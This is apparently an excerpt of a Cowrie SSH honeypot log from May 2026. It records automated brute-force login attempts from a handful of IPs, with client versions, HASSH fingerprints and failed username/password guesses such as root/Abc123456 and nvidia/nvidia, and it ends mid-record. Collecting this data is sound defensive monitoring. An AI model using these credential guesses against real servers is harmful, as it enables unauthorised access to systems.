{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:58.863123Z","src_ip":"45.153.34.114","session":"b330cc617f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:59.209571Z","src_ip":"45.153.34.114","session":"b330cc617f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:00.297105Z","src_ip":"45.153.34.114","session":"b330cc617f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50346,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1469fab8a4","protocol":"ssh","message":"New connection: 45.153.34.114:50346 (159.203.135.109:22) [session: 8d1469fab8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:06.252149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:06.257203Z","src_ip":"45.153.34.114","session":"8d1469fab8a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:06.340592Z","src_ip":"45.153.34.114","session":"8d1469fab8a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:06.595579Z","src_ip":"45.153.34.114","session":"8d1469fab8a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:07.756671Z","src_ip":"45.153.34.114","session":"8d1469fab8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41328,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f286fc2da84","protocol":"ssh","message":"New connection: 103.75.199.4:41328 (159.203.135.109:22) [session: 7f286fc2da84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:08.994313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:08.998439Z","src_ip":"103.75.199.4","session":"7f286fc2da84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:09.092082Z","src_ip":"103.75.199.4","session":"7f286fc2da84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:09.364671Z","src_ip":"103.75.199.4","session":"7f286fc2da84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:10.459188Z","src_ip":"103.75.199.4","session":"7f286fc2da84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50036,"dst_ip":"159.203.135.109","dst_port":22,"session":"04edff346bfa","protocol":"ssh","message":"New connection: 45.153.34.114:50036 (159.203.135.109:22) [session: 04edff346bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:13.515739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:13.520508Z","src_ip":"45.153.34.114","session":"04edff346bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:13.605026Z","src_ip":"45.153.34.114","session":"04edff346bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:13.860849Z","src_ip":"45.153.34.114","session":"04edff346bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:14.949292Z","src_ip":"45.153.34.114","session":"04edff346bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b5c5f6408f","protocol":"ssh","message":"New connection: 45.153.34.114:35864 (159.203.135.109:22) [session: 52b5c5f6408f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:20.723396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:20.728001Z","src_ip":"45.153.34.114","session":"52b5c5f6408f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:20.821206Z","src_ip":"45.153.34.114","session":"52b5c5f6408f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:21.085844Z","src_ip":"45.153.34.114","session":"52b5c5f6408f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:22.312294Z","src_ip":"45.153.34.114","session":"52b5c5f6408f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":29500,"dst_ip":"10.17.0.5","dst_port":22,"session":"49842a9d6197","protocol":"ssh","message":"New connection: 178.20.210.186:29500 (10.17.0.5:22) [session: 49842a9d6197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:27.481277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:27.485958Z","src_ip":"178.20.210.186","session":"49842a9d6197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:27.593150Z","src_ip":"178.20.210.186","session":"49842a9d6197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:28.012028Z","src_ip":"178.20.210.186","session":"49842a9d6197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35882,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ea1ccbb22f0","protocol":"ssh","message":"New connection: 45.153.34.114:35882 (159.203.135.109:22) [session: 8ea1ccbb22f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:28.329571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:28.334043Z","src_ip":"45.153.34.114","session":"8ea1ccbb22f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:28.423733Z","src_ip":"45.153.34.114","session":"8ea1ccbb22f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:28.691170Z","src_ip":"45.153.34.114","session":"8ea1ccbb22f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:29.121483Z","src_ip":"178.20.210.186","session":"49842a9d6197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:29.788089Z","src_ip":"45.153.34.114","session":"8ea1ccbb22f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40586,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cafe78b29f9","protocol":"ssh","message":"New connection: 103.75.199.4:40586 (159.203.135.109:22) [session: 0cafe78b29f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:30.844432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:30.849685Z","src_ip":"103.75.199.4","session":"0cafe78b29f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:30.941226Z","src_ip":"103.75.199.4","session":"0cafe78b29f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:31.214934Z","src_ip":"103.75.199.4","session":"0cafe78b29f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:32.309689Z","src_ip":"103.75.199.4","session":"0cafe78b29f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45998,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad92df881b2","protocol":"ssh","message":"New connection: 45.153.34.114:45998 (159.203.135.109:22) [session: dad92df881b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:35.590453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:36:35.606573Z","src_ip":"45.153.34.114","session":"dad92df881b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@opens